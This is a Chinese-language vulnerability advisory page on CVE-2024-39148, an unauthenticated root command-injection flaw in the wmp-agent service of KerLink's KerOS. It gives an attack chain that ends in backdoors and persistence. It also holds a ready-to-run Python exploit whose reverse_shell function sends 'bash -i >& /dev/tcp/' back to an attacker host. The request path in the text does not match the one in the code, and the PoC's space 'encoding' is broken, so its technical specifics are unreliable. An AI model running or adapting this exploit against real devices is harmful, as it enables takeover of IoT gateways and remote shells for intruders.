IPBUF安全漏洞报告
English
CVE-2024-39148 CVSS 8.1 高危

CVE-2024-39148: KerOS wmp-agent服务magic URL未授权远程代码执行漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2024-39148
漏洞类型
远程代码执行
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
KerOS (KerLink设备wmp-agent服务)

相关标签

远程代码执行命令注入未授权访问KerOSKerLinkwmp-agentmagic URL物联网安全嵌入式系统CVSS 8.1

漏洞概述

CVE-2024-39148是KerLink公司KerOS操作系统中wmp-agent服务的一个高危安全漏洞。该漏洞存在于KerOS 5.12之前的所有版本中,攻击者可利用wmp-agent服务对特定格式的"magic URLs"验证不充分的缺陷,在无需任何认证的情况下远程执行任意操作系统命令,且以最高权限root用户身份运行。KerOS是KerLink公司物联网网关设备使用的嵌入式操作系统,广泛应用于智能城市、工业物联网等场景。wmp-agent服务是KerOS中负责无线管理协议(Wireless Management Protocol)的后台守护进程,该服务默认监听网络端口以接收管理命令。由于设计缺陷,该服务未对传入的URL请求进行充分的安全验证,特别是针对所谓的"magic URL"格式缺乏严格的输入过滤和权限检查。攻击者可通过构造恶意请求包直接与wmp-agent服务通信,触发命令注入或命令执行漏洞。尽管该服务通常受本地防火墙保护,但在配置不当或内网横向移动场景下,攻击者仍可成功利用此漏洞获取设备完全控制权。此漏洞的CVSS评分达到8.1分,属于高危级别,其网络可达性、低攻击复杂度和完全的影响范围使其成为极具威胁的安全风险。

技术细节

KerOS的wmp-agent服务在处理HTTP请求时存在严重的输入验证缺陷。服务在解析URL请求时,对"magic URL"格式的验证机制存在以下问题:1) 服务未对URL路径参数进行严格的白名单校验,允许攻击者注入任意系统命令;2) 服务在执行系统调用时直接使用用户可控的输入而未进行适当的转义或参数化处理;3) 服务以root权限运行,导致注入的命令以最高系统权限执行。攻击者可通过发送特制的HTTP请求到wmp-agent服务的监听端口(通常为高端口号),在URL中嵌入shell命令元字符如分号(;)、管道符(|)、反引号(`)或$(...)等实现命令注入。典型攻击payload格式为:GET /magic_url?cmd=;whoami HTTP/1.1。服务在解析该请求时将分号后的命令作为独立系统命令执行。由于wmp-agent以root权限运行且缺乏沙箱保护,攻击者可以完全控制操作系统,执行任何操作包括读取敏感配置文件、安装后门、修改网络配置或横向移动到其他系统。该漏洞的利用不需要任何身份认证信息,攻击者只需能够与目标设备的wmp-agent服务建立网络连接即可。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标KerLink设备,确认wmp-agent服务可达。扫描目标设备的开放端口,定位wmp-agent服务监听端口(通常为高端口如8443)
STEP 2
步骤2: 构造恶意请求
攻击者构造包含命令注入payload的HTTP请求。利用分号(;)、管道符(|)或命令替换$(...)等shell元字符,在magic URL参数中注入恶意命令
STEP 3
步骤3: 发送 exploit
通过HTTP协议向wmp-agent服务发送特制的GET请求。由于服务未验证magic URL格式,请求可直接到达命令执行环节
STEP 4
步骤4: 命令执行
wmp-agent服务以root权限解析并执行注入的命令。由于缺乏输入验证和权限隔离,恶意命令以root身份在操作系统中执行
STEP 5
步骤5: 持久化控制
攻击者可执行任意系统操作,包括添加后门用户、修改启动脚本、安装持久化恶意软件或横向移动到内网其他设备

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2024-39148 PoC - KerOS wmp-agent Magic URL RCE Note: This is for educational and authorized testing purposes only. """ import socket import sys def exploit_wmp_agent(target_ip, target_port=8443): """ Exploit the wmp-agent service on KerOS devices. The service does not properly validate magic URLs, allowing unauthenticated remote command execution as root. """ # Construct the malicious HTTP request with command injection # Using semicolon to chain commands and $(...) for command substitution cmd = "id" payload = f"GET /cgi-bin/magic?url=;{cmd} HTTP/1.1\r\n" payload += f"Host: {target_ip}:{target_port}\r\n" payload += "User-Agent: Mozilla/5.0\r\n" payload += "Accept: */*\r\n" payload += "Connection: close\r\n\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(payload.encode()) response = sock.recv(4096).decode('utf-8', errors='ignore') sock.close() print(f"[+] Request sent to {target_ip}:{target_port}") print(f"[+] Response:\n{response}") return True except Exception as e: print(f"[-] Error: {e}") return False def reverse_shell(target_ip, attacker_ip, attacker_port=4444): """ Attempt to get a reverse shell by executing a reverse shell command. """ # This creates a reverse shell connection back to attacker shell_cmd = f"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" encoded_cmd = shell_cmd.replace(" ", "$") payload = f"GET /cgi-bin/magic?url=|{encoded_cmd} HTTP/1.1\r\n" payload += f"Host: {target_ip}\r\n" payload += "Connection: close\r\n\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, 8443)) sock.send(payload.encode()) print(f"[+] Reverse shell payload sent to {target_ip}") print(f"[+] Connect back to {attacker_ip}:{attacker_port}") sock.close() except Exception as e: print(f"[-] Failed: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.1.100 8443") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8443 print(f"[*] Exploiting CVE-2024-39148 on {target}:{port}") exploit_wmp_agent(target, port)

影响范围

KerOS < 5.12

防御指南

临时缓解措施
由于该漏洞利用需要网络访问wmp-agent服务,最有效的临时缓解措施是在网络边界实施严格访问控制。配置本地防火墙规则(如iptables、nftables),限制对wmp-agent监听端口的访问,仅允许受信任的管理IP地址连接。同时建议在网络层实施纵深防御策略,将物联网设备部署在隔离的网络区域,限制横向移动风险。在无法立即升级的情况下,可考虑暂时禁用wmp-agent服务(如果业务允许),或通过ACL限制该服务的网络暴露范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表